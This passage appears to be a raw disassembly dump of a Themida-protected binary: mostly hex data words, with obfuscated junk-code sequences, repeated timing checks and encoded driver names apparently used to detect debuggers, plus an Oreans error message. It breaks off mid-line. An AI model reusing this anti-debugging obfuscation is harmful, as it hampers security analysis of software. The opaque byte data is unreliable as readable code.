0E8000000h, 0Eh dd 0CB6B3842h, 678D4911h, 6DADF841h, 8B66D237h, 34FF59D7h dd 0D2816638h, 0F5EE20Eh, 0F681D1BFh, 55F6AC33h, 0FE953h dd 6C150000h, 0ABB33CA0h, 26025C2Dh, 13B1E756h, 0C681594Ch dd 94E51A3h, 0BAD98166h, 2EC681C8h, 0E97D3B6Ch, 9, 91B5728h dd 751BA34Eh, 7348938h, 6E931B7h, 4E000000h, 1F01DF5Bh dd 89E88161h, 0F244F8Eh, 48Bh, 0BDBB6600h, 85C081DDh, 0E9244F8Eh dd 9, 2E869005h, 0A448696h, 40F8819Ah, 0FFFFF8Eh, 1085h dd 30E900h, 71120000h, 112B5DCFh, 6A935929h, 0C830F3Ah dd 0E9000000h, 7, 29C14BBh, 0E9DA63E6h, 0FFFFFF52h, 2E7DE471h dd 5BBB87C3h, 2C0868Ah, 34EB1EA2h, 4D534649h, 20205247h dd 20444B56h, 20202020h, 204D4D56h, 20202020h, 4E495756h dd 20203233h, 4C445856h, 20205244h, 3 dup(0) dd 81CE9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1A04h, 0C3524200h, 0AC8EA3D3h, 0E90AAB9Ah, 0Bh, 509BDA77h dd 18F5C8F4h, 60B84DA8h, 0E82BA66h, 6061C6B1h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 7EC35545h, 0FEB59D1h dd 1587h, 10E900h, 0CD430000h, 640AD6E2h, 0A2FAE0A2h, 7D1A4A6h dd 0C7FCB27Bh, 4B748585h, 6, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 250A7167h dd 88A77652h, 7E9C68Bh, 36000000h, 0BEC6C8CFh, 0BE98E2Fh dd 5B000000h, 0E7D7A627h, 6BBAE3F8h, 0B70F1ACDh, 56006AD8h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 0F7BE604Eh, 0F07BA0Eh, 68Fh, 820F00h, 61000000h, 18880Fh dd 8C0F0000h, 12h, 0DE9h, 0F14A7D00h, 0BEF7F3C1h, 0CB3244EEh dd 0E8C1181Eh, 0E8E0F10h, 60000000h, 5E8F5h, 0A5090000h dd 5A8C0E41h, 0C166F861h, 6A08C8h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 0B3E9E1C3h, 0AE9h, 63E46F00h dd 0E62BCC50h, 892468FAh, 4B748985h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 85521A62h dd 66F9F94Fh, 0F908CBC1h, 0F40FB83h, 0CB85h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 5B10D962h, 860F8E09h, 0Ch, 6820Fh, 820F0000h, 0 dd 745DBD8Dh, 6A064Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 180424h, 52420000h, 0FAC594C3h, 816026D5h, 0C34EEEE7h dd 0FE837h, 8DD10000h, 14DD77FFh, 6A40004Eh, 3BE73049h dd 0F78B664Ah, 12E96159h, 1F000000h, 5E176D8Dh, 0E229582Bh dd 8873D21Ah, 0A94DAB93h, 21BE9DEh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 170424h, 50400000h, 0BD0D06C3h dd 11E9F8B6h, 0F0000000h, 0A0E641CDh, 1106ABF6h, 936DF13Eh dd 28C9033Eh, 0F0DFB83h, 8285h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 3558D701h dd 7E3B7BFEh, 0F602853h, 38Bh, 0CE8B6600h, 0BAC7BE66h dd 0C8B0F61h, 0F000000h, 68Eh, 850F00h, 8D000000h, 4B7465BDh dd 0F5806006h, 0EE9C4h, 48380000h, 2CEE9686h, 9131D4ABh dd 0DB17C0E1h, 173E961h, 0DE90000h, 4D000000h, 0B6A15628h dd 83D55993h, 6FD9AB5Fh, 18C0Fh, 83F50000h, 850F01FBh dd 6Ch, 38A0F60h, 0F000000h, 0E953C6BFh, 9, 3722DA0Ch dd 5AFA2841h, 8D6159D1h, 4B746DBDh, 0EE906h, 0ABBF0000h dd 9AAFF3F9h, 0A7F7528Ch, 338A5633h, 118E9h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 0FDAD48E5h, 0FB6C30Fh, 0B8Fh, 6E900h, 0B0C30000h, 0E1C3B043h dd 0F2AFB83h, 4485h, 2B16000h, 0F86103B2h, 7475BD8Dh, 6A064Bh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 60B9B5C3h, 394DDABEh, 5E8600Dh, 17000000h, 84FCD1ABh dd 0E9616159h, 99h, 27FB83F9h, 34A850Fh, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 81FA89C3h, 2725613Eh, 0BA666080h, 0E2BE3A46h, 61466D95h dd 0C800Fh, 820F0000h, 6, 8D0Fh, 0BD8D0000h, 64B747Dh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 8AC35040h dd 0F2B70F60h, 11820Fh, 0CE90000h, 0A000000h, 0FE67542Bh dd 0CD0D16B5h, 6154E0FCh, 0CE9h, 4033D900h, 0AD6BDA67h dd 0B94EFF4Eh, 8DBD89E7h, 6A064B74h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0CE05C353h dd 0AC21CED6h, 1850F77h, 0F8000000h, 60C88C66h, 6830Fh dd 0D8810000h, 259E9BF5h, 32461FCh, 6E9h, 5A723C00h, 0A5758D9h dd 0DE850FC0h, 6A000001h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 17042444h, 47000000h, 9A0EC357h, 606094A5h dd 860Fh, 0CF810000h, 73CC8899h, 81BE6661h, 0BE961C2h dd 9E000000h, 683F5E83h, 73E9A133h, 0B58DB8C9h, 64B7BCBh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 82C35343h dd 0CE90BD2h, 2C000000h, 13F33D42h, 9D282A56h, 8B2067B6h dd 4B7C2985h, 0C840F06h, 60000000h, 0B4D81ABAh, 0CE81666Ch dd 92614C7Fh, 6E9h, 9A60EB00h, 50A07A07h, 0EE9h, 46955D00h dd 0C7DA1BF2h, 0BC2554F1h, 92D16931h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ah, 52C35242h, 5BA5ABEBh, 8D0FBA4Ch dd 1, 4C010FF5h, 6AFE24h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 160424h, 53430000h, 0B744E9C3h, 57006A5Ah dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 0D65B1740h, 3C4ED891h, 6A24C283h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 95AC357h dd 0FC1F29EFh, 0FC728966h, 10CEC1FCh, 13E9h, 0CE30FA00h dd 0C74CF61Bh, 80692EC3h, 0AEC4A064h, 0D869961Bh, 2728966h dd 0EE9h, 6423FF00h, 0E86986E5h, 4FB4969Ch, 60A9C828h dd 0FE9h, 28C6CA00h, 0A213FF89h, 21451F85h, 6ABDD9F9h dd 5E9h, 7DF52700h, 0CD61EA75h, 10E904h, 0A1CB0000h, 738C7191h dd 8689F182h, 0D7710A05h, 95E94788h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 492C352h, 7C9784Fh, 0F8B5A2A3h, 29858BFCh, 60064B7Ch dd 80F18B66h, 0F96197DAh, 7BCBB58Dh, 8F0F064Bh, 9, 0F7816660h dd 5E535016h, 73858D61h, 6A064B4Bh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0FC6C353h dd 181h, 0D0FFF800h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 17h, 0B4C35040h, 0F5AE3ADAh, 74858589h, 8C0F064Bh dd 0Ch, 68E0Fh, 890F0000h, 0 dd 858BF561h, 64B7485h, 4184BE60h, 0D3812EE3h, 63D6F2BCh dd 6AC361h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 0C804A5C3h, 0B460E2E5h, 6A60615Ah, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 0D81DC351h, 7C29BD83h, 0F00064Bh, 2B85h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 64152240h, 2985C7E7h, 3F064B7Ch, 0FC000101h, 1E9h, 20CDF800h dd 0 dd 3774C00Bh, 8B0C708Dh, 4B748DBDh, 8B906h, 75A60000h dd 0FA754922h, 8B30488Bh, 4B74899Dh, 34583B06h, 0D38B157Fh dd 304D26Bh, 89018BCAh, 4B748585h, 8B04EB06h, 61C5EB00h dd 7485858Bh, 6ACF064Bh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1A042444h, 45000000h, 8CE5C355h, 8ED0CC07h dd 6AF9E3h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h dd 50400000h, 8BDCD2C3h, 0E8C08BABh, 0Ah, 0E941BD4h, 541359A9h dd 860F86CFh, 5, 0C9D195BAh, 0F8575F39h, 0C4C7815Bh, 0F000070h dd 487h, 0A7BB6600h, 10DAB83Fh, 0E88174B6h, 74B5F4D5h dd 8B40EB80h, 0D18B660Fh, 0CFCEC181h, 81FC5B2Bh, 9650B3C1h dd 0E9606022h, 0Eh, 5B5DFFF3h, 51A93604h, 826A2BA0h, 6160AA82h dd 14840F61h, 0E9000000h, 0Fh, 28C6CA1Ah, 0A213FF89h, 21451F85h dd 61BDD9F9h, 0EF9DF181h, 0BA660A29h, 0F896781h, 81DABF0Fh dd 196A93EFh, 0DE81565Ch, 7BCF289h, 8FC7815Bh, 0F5C196Ah dd 0E881DABFh, 1, 0FF89850Fh, 8E0FFFFFh, 0 dd 0DE8h, 6BFD3100h, 0EF89B81Eh, 0C29228A9h, 8B0F3681h dd 3, 5EC1B70Fh, 0C68180B0h, 743Dh, 11E852h, 51A30000h dd 0F7CAB5DAh, 0FD7E3D0Fh, 64333D02h, 0F89F6235h, 0BA5F5Fh dd 81000000h, 11B347C8h, 3234FF0Ch, 0E98159FCh, 2386D1A9h dd 81C0BF0Fh, 0BAC256F1h, 0B9F78062h, 8BF0C181h, 8E0F39F3h dd 1Ch, 880F60h, 0E9000000h, 0Fh, 8A19D9DDh, 239DAF6Ch dd 0C0495A42h, 613BC6EFh, 16048F51h, 1820F60h, 0F8000000h dd 0EE9h, 60B25500h, 28296EDBh, 71F59312h, 61D58A28h, 83FABF0Fh dd 0E2B004EAh, 8CB4FA81h, 850FFFFFh, 12h, 0F2DFD881h, 33E97DD2h dd 0A6000000h, 0F7679304h, 14E941A2h, 0D3000000h, 33CC5898h dd 0AA07CA65h, 0ECF4C7Eh, 27BC53F2h, 0E9EBCA71h, 0FFFFFF5Dh dd 0C0776CB2h, 8BFE04Dh, 7A84256Ch, 83E9378Fh, 53000000h dd 57565251h, 1C245C8Bh, 4D3B8166h, 68850F5Ah, 0F000000h dd 33C43B7h, 3B8166D8h, 850F4550h, 57h, 3785B8Bh, 8B1C245Ch dd 74032473h, 8B561C24h, 738B207Bh, 247C031Ch, 24740320h dd 0C983FC20h, 5C8B41FFh, 178B1C24h, 20245403h, 8A04C783h dd 74C08402h, 75033A08h, 0EB4243E8h, 75033AF2h, 0E1D15FE0h dd 0F04B70Fh, 386048Bh, 5F1C2444h, 5B595A5Eh, 330008C2h dd 0FFF1E9C0h, 0CA8BFFFFh, 400E9h, 0 dd 6E413300h, 746E6920h, 616E7265h, 7865206Ch, 74706563h dd 206E6F69h, 7563636Fh, 20646572h, 64644128h, 73736572h dd 7830203Ah, 0A297825h, 656C500Dh, 2C657361h, 6E6F6320h dd 74636174h, 70757320h, 74726F70h, 65726F40h, 2E736E61h dd 2E6D6F63h, 61685420h, 79206B6Eh, 21756Fh, 0E4h dup(0) dd 5600h, 4500h, 0 dd 1191E900h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 173D0C3h, 480A81B5h, 2D858B06h dd 106482Ch, 48244585h, 24443906h, 0C2850F04h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h dd 41000000h, 8E84C351h, 1BB9CA0Fh, 66194D1Bh, 1850Fh dd 0FF50000h, 685h, 91B50100h, 83064805h, 4804E5BDh, 840F0006h dd 7Dh, 38E0F60h, 80000000h, 0DE944C5h, 9C000000h, 0D4D420B6h dd 3F731728h, 1D865197h, 8830F61h, 0F000000h, 289h, 8D616000h dd 48387885h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1704h, 0C3504000h, 0F4805964h, 32E5BD89h, 0E0FF0648h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 48C35646h dd 8701B78Bh, 0DE77EA99h, 5D858BD9h, 9064820h, 480C999Dh dd 24443906h, 6E850F04h, 0F000000h, 1780h, 12E900h, 34B90000h dd 9036DDB9h, 3B0711E1h, 0CBAEAAAh, 1AEE9CA0h, 1B830Fh dd 0E8600000h, 0Dh, 0D129D9CDh, 99704A52h, 7940855Dh, 858B5EB9h dd 6480469h, 0F285C761h, 1064B82h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h dd 8FDAC353h, 623C6197h, 284ABAE0h, 0E9F860F5h, 35h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 69C35747h, 0DDA6CD3Fh dd 0FB34338Dh, 6890F1Fh, 89000000h, 480A6595h, 6, 1B800h dd 85870000h, 64B84B2h, 0F675C00Bh, 276DB5FFh, 858F0648h dd 64B82EAh, 0FF6A206Ah, 1E0195FFh, 0BD830648h, 6481555h dd 6A087400h, 6195FF00h, 83064830h, 482F19BDh, 0D740106h dd 8068h, 0FFFF6A00h, 481E0195h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 84FF64ADh dd 0D3A75714h, 68E0Fh, 0BD890000h, 6481F59h, 2E858D09h dd 85310648h, 6481011h, 0B8h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 0FE955B0h dd 19000000h, 0B03CAF25h, 0B0CC67C2h, 207BCDB2h, 9509E2E3h dd 6480EE5h, 2824548Bh, 0B880Fh, 66600000h, 858BD08Bh dd 6482545h, 8589FC61h, 64824CDh, 68A0Fh, 0B5890000h, 6482CCDh dd 3CBEh, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1404h, 0C3574700h, 68B0F5Fh, 29000000h, 4827BD9Dh, 7403FC06h dd 0BE92424h, 0F1000000h, 449A3725h, 0E346642Eh, 0AD666EA8h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 3C35040h dd 0B445D8AEh, 0CDBD3134h, 6006481Ch, 1D918529h, 0BA660648h dd 36115D5h, 6A242444h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 9841C357h, 5E9h, 0B5447700h dd 0F50A614h, 0E8Fh, 9E900h, 98580000h, 0B334AA7h, 896046A3h dd 9D892404h, 64815F9h, 0E978408Bh, 6, 17A04D00h, 0BD83CBBBh dd 64B82F2h, 11850F00h, 6A000001h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1A042444h, 40000000h, 1C0FC350h dd 0E3B72DDCh, 0F98529EBh, 0E9064828h, 0Eh, 29682F6h, 6D482528h dd 0F72E69E4h, 50F98893h, 0E880Fh, 50600000h, 5A310F52h dd 840F58h, 61000000h, 9240489h, 482B3DB5h, 24448B06h dd 50006A2Ch, 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h dd 0C3504000h, 77865B67h, 0C1558EAAh, 0BE9h, 53849C00h dd 0A573854Eh, 9FBE3693h, 0BE990h, 0C0680000h, 3B0C8314h dd 0C12A1939h, 850F5076h, 0Ch, 7E9h, 2DD9C900h, 839FFCD2h dd 57006A90h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h dd 0C3574700h, 0FDB58937h, 8D06480Ah, 4B45D985h, 0B5B52906h dd 0FF06481Bh, 53006AD0h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1D04h, 0C3534300h, 0EBF52D3Ah, 0A5486D64h dd 9D89725Ah, 6480C41h, 28244403h, 18B0Fh, 8BF80000h, 60601840h dd 19699D29h, 0F5800648h, 0B70F614Dh, 6A4061FEh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 6D42C352h, 89BAFDA6h, 4818ADBDh, 12E906h, 243D0000h dd 82D050B7h, 28879AE0h, 0CD60C30h, 0D0E3AEBCh, 82EE8589h dd 8589064Bh, 6482369h, 0CE958h, 640D0000h, 1A8CC25Fh dd 407533DCh, 708B4789h, 53006A78h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1804h, 0C3534300h, 5BBFA92Ch, 0C683F9BEh dd 858B601Ch, 6482D1Dh, 0C919529h, 29610648h, 481BD985h dd 6A9606h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h dd 55450000h, 0F2E4CC3h, 68Eh, 0A5950100h, 0F9064822h dd 24247C81h, 10000000h, 112870Fh, 95090000h, 6481BF9h dd 0B8B0F50h, 60000000h, 310F5250h, 8B66585Ah, 48961D6h dd 71B58924h, 8B064825h, 6A282444h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 74C3C352h dd 7C052862h, 0FE9BB89h, 0E5000000h, 11235A5Ch, 876B2431h dd 948130D3h, 90FC116Ch, 9E95250h, 0B1000000h, 6A8644B2h dd 0A8A1101Fh, 5250310Fh, 8D0Fh, 310F0000h, 8D0Fh, 585A0000h dd 0F50585Ah, 128Eh, 0C8A0F00h, 0E9000000h, 7, 9131C54h dd 90C19056h, 6850Fh, 8D890000h, 6482059h, 45D9858Dh, 6A064Bh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h dd 0F19B81C3h, 0FE007C0h, 688h, 15950100h, 0FF06482Eh dd 51006AD0h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h dd 0C3514100h, 7399AED2h, 8D29EBF9h, 64810D1h, 6890Fh dd 0B5890000h, 6481EE9h, 7403FC96h, 6A2424h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 150424h, 52420000h, 10FBBC3h dd 48271D8Dh, 99BD8D06h, 0F8064819h, 7C81F5ADh, 2424h dd 870F1000h, 15Bh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 2CC35040h, 0BCF4346Eh, 0E9EB9976h, 0Dh dd 0C7DD10ABh, 0C94F3B0Ah, 44E1ED7Ch, 525090EFh, 52505250h dd 585A310Fh, 870F310Fh, 0 dd 310F585Ah, 2E96BF60h, 8C0F1562h, 0 aAzxps db 'aZXPИ',8,0 align 4 dd 3ADAB400h, 0CEB371AEh, 6A9014h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1B0424h, 56460000h, 0D660D7C3h, 0E73268F8h dd 0B5B531ADh, 8B06480Ah, 0F5282444h, 0E96090F8h, 0Ch dd 0E35500A9h, 2B636DC1h, 0B4530A6Fh, 10E8h, 0FAF7CF00h dd 7A2BD0EFh, 0D784E00Ch, 55919D25h, 9E9FAh, 0F0FD0000h dd 99AD4C44h, 5838E0F0h, 52505061h, 61C88A60h, 830F310Fh dd 6, 8A0Fh, 585A0000h, 55006A90h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1A04h, 0C3554500h, 7C9827ADh, 0FD08752h dd 686h, 0D5952900h, 8D064808h, 4B45D985h, 51006A06h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 0E9D00504h, 5, 705426B0h, 0D0FFF923h, 6870F60h, 81000000h dd 8A57D6EAh, 0D9816624h, 3613CC3h, 0F9242444h, 51006AABh dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 0F5A7C4B7h, 0FA81h, 820F0001h, 780h, 6880Fh, 0BD890000h dd 64826C9h, 531BD8Dh, 6A0648h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 0C446BFC3h, 60F13B84h dd 8589F960h, 6480E19h, 10318D29h, 6AAD0648h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 0A16FC352h, 0AD80E8CDh, 81D479C5h, 24247Ch, 0F100000h dd 12587h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1504h, 0C3564600h, 840F78E2h, 1, 525090F5h, 5E9h, 0C8E0A000h dd 310FDA91h, 665E5160h, 5A61C68Bh, 8A0F5058h, 0Eh, 830F5250h dd 0 dd 6160310Fh, 6A90585Ah, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 17042444h, 46000000h, 0E489C356h, 448BB615h dd 6A2824h, 3E853h, 5B200000h, 5C895BC3h, 44810424h db 24h, 4, 18h byte_5759C7 db 0 ; DATA XREF: Themida_:0053E168o dd 53430000h, 78EE2AC3h, 90F8EF1Eh, 52505660h, 585A310Fh dd 0D68B665Bh, 52505061h, 66585060h, 61C6BBB9h, 5250310Fh dd 310F6160h, 880Fh, 585A0000h, 0E990585Ah, 7, 284ABAE0h dd 8DE9E3BDh, 4B45D985h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1404h, 0C3504000h, 12E93Ah, 0CE140000h, 0EBA633F7h dd 86416DBFh, 3399EE8Dh, 3EABCE80h, 6AD0FFh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 440378C3h dd 6A2424h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h dd 51410000h, 0FB581C3h, 1181h, 5A516000h, 8E9h, 0A934A900h dd 0B6D0A4F7h, 90FC617Ch, 52506060h, 585A310Fh, 0B1615856h dd 50506135h, 0BE86052h, 60000000h, 680066EFh, 15B84A2Ah dd 665F9822h, 0F61D78Bh, 19860F31h, 0E9000000h, 14h, 0D95596AFh dd 76BF2E61h, 0A1CA07AAh, 0FA25E2E2h, 25E81835h, 6A90585Ah dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 4B44C356h, 2ED4E2EBh, 6CB260ABh, 8EF2E081h dd 8D611C4Dh, 480E01BDh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1804h, 0C3534300h, 0C9753296h, 5E960DAh dd 0CE000000h, 5302C33Bh, 27E9958Bh, 29610648h, 48098D9Dh dd 0FD850106h, 0AD064815h, 247C81FCh, 28h, 10870F10h, 0E9000001h dd 0Fh, 8A25F2E0h, 4C296AA0h, 0FC6EC4E0h, 50C77C1Bh, 10E9h dd 0B1F45700h, 541512E2h, 0B93B8C39h, 7B0123CAh, 240489E4h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 3FC35545h dd 4E72A857h, 0F019016h, 682h, 2DB52900h, 8B064819h, 6A2C2444h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 8AF7C357h, 820FEA1Ah, 6, 1A598D29h, 50F80648h dd 52505250h, 310F5250h, 310F585Ah, 585A6160h, 5060310Fh dd 5A310F52h, 61616058h, 489585Ah, 6E924h, 64B20000h, 788360CAh dd 45D9858Dh, 6A064Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1C0424h, 52420000h, 2A5360C3h, 0D78C9503h, 0FFF5F63Dh dd 56006AD0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h dd 0C3564600h, 19FC3456h, 0DDA27B97h, 32319D29h, 3F50648h dd 0F8282444h, 89F560ABh, 480E65BDh, 0FF5E6106h, 4B82EE8Dh dd 0EEBD8306h, 64B82h, 0C0330A75h, 9229B58Dh, 0E6FF064Bh dd 7C81AD56h, 2824h, 0E771000h, 24448B50h, 858D502Ch, 64B45D9h dd 4403D0FFh, 8B972824h, 0EA858ADFh, 84064B82h, 3A0474C0h dd 574C7507h, 75AEC032h, 0FB2B5EFDh, 0C933FC52h, 33D18B49h dd 0ACDB33C0h, 0CD8AC132h, 0D68AEA8Ah, 0D16608B6h, 0D8D166EBh dd 35660973h, 81665041h, 0FE5449F3h, 33EB75CEh, 4FD333C8h dd 0D2F7D575h, 0C28BD1F7h, 6610C0C1h, 3B5AC18Bh, 5E0F74D0h dd 0FF04C683h, 4824CD85h, 0FF5DE906h, 6A5EFFFFh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h dd 8387C357h, 13C19111h, 89FCD39Ch, 4810CDB5h, 11B52906h dd 8B064807h, 4824CD85h, 0E0D1F506h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 14h, 0FEC35242h, 0E018503h, 8D310648h dd 64825E5h, 0BEh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1804h, 0C3524200h, 4B0A77E6h, 0D1958981h dd 96064814h, 0D799509h, 0AD660648h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 15h, 0E7C35242h, 12E9DEh, 117C0000h dd 0C7E00554h, 7F0F6997h, 0FF0B7F88h, 14721E65h, 3102E0C1h dd 4832ADB5h, 8503F906h, 6481999h, 14E9h, 47A3DA00h, 99066372h dd 98EB699Bh, 0ABE1AA00h, 51E3E5ABh, 6A969Ah, 3E850h, 58200000h dd 448958C3h, 44810424h, 180424h, 50400000h, 0ADA083C3h dd 9D31B5E5h, 6480A8Dh, 55006AADh, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1904h, 0C3554500h, 0B4CA603Bh, 9D89C5C3h dd 6480BADh, 24247C81h, 10000000h, 0F7870Fh, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 506520C3h, 66FB8B60h, 8961C68Bh, 0EE92404h, 0F000000h dd 0B7F887Fh, 721E65FFh, 0FEFB7514h, 24448BE1h, 7E928h dd 0BECB0000h, 8099DD5Ah, 10E99034h, 7A000000h, 0B1ADB47Ch dd 0D0EDC5D9h, 62B7D6D9h, 504BBF99h, 9E9h, 0C808100h, 64393C06h dd 6A9098CBh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1C042444h, 40000000h, 0CD71C350h, 1AC69C38h, 0F9C61BBEh dd 45D9858Dh, 6A064Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 3D5409C3h, 4B77FDA5h, 14E95Ch, 7CC20000h dd 63404F3Ch, 0F764258Ch, 0E9143679h, 2E1B6608h, 0D0FF3F51h dd 0FE8F560h, 5C000000h, 43F9DB61h, 670DE08Bh, 643689C1h dd 0C3BEF90Eh, 5E49F956h, 24440361h, 50006A24h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 8D89F9FDh dd 6480B31h, 1C244489h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ah, 33C35747h, 35CFD9CBh, 9529BC5Bh, 6480609h dd 0AE9h, 845CAF00h, 0D124E793h, 0F9272987h, 276D85C6h dd 0C7000648h, 4B84B285h, 6, 0F285C700h, 64B82h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 31F9C351h, 27498D29h, 61F50648h, 15818531h dd 8C20648h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1D04h, 0C3574700h, 0DDBCF13Fh, 81F875DBh, 0BD09E38Ch dd 6480CDDh, 1999858Bh, 0BD890648h, 6481EA9h, 1870F4Ah dd 0F5000000h, 0CC68160h, 0BB36D93Ah, 1449FF21h, 4D26B61h dd 0AE9h, 0AD5CE600h, 0F28B4569h, 3EF79AEh, 7E9C2h, 0A33D0000h dd 0A850FFD0h, 896096B5h, 4808C18Dh, 38EE8106h, 616CFD35h dd 0D19D29ADh, 81064806h, 24247Ch, 0F100000h, 14387h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 0EE92E0Dh, 0BD000000h, 0D1C99A5Ah, 0ED889D72h, 5D870515h dd 0FE99053h, 0EB000000h, 0F88C28B3h, 0FFF853CEh, 23E896C8h dd 6050D9DFh, 0F525052h, 5E585A31h, 665E5160h, 6161D78Bh dd 50006A90h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h dd 0C3504000h, 2ED02C8Dh, 0F554DE78h, 24448BF5h, 1870F28h dd 0FC000000h, 10E990h, 78750000h, 0ED65AC4Fh, 7BB4A270h dd 2D0B45E9h, 0F508E3Ch, 178Bh, 0E9525000h, 6, 0F8987362h dd 310FEE4Ah, 310F5250h, 585A585Ah, 56006A90h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 6922452h, 1F998D89h dd 9D890648h, 64806EDh, 45D9858Dh, 6A064Bh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0E919C6C3h dd 0F51861DBh, 6AD0FFh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 64CE43C3h dd 6AB3EDE6h, 9E910DAh, 0D7000000h, 0AB2C715h, 11446338h dd 0FFFD7CE9h, 7DBD29FFh, 8D064822h, 4B974485h, 81666006h dd 0E8796BF2h, 14h, 263FBC8Bh, 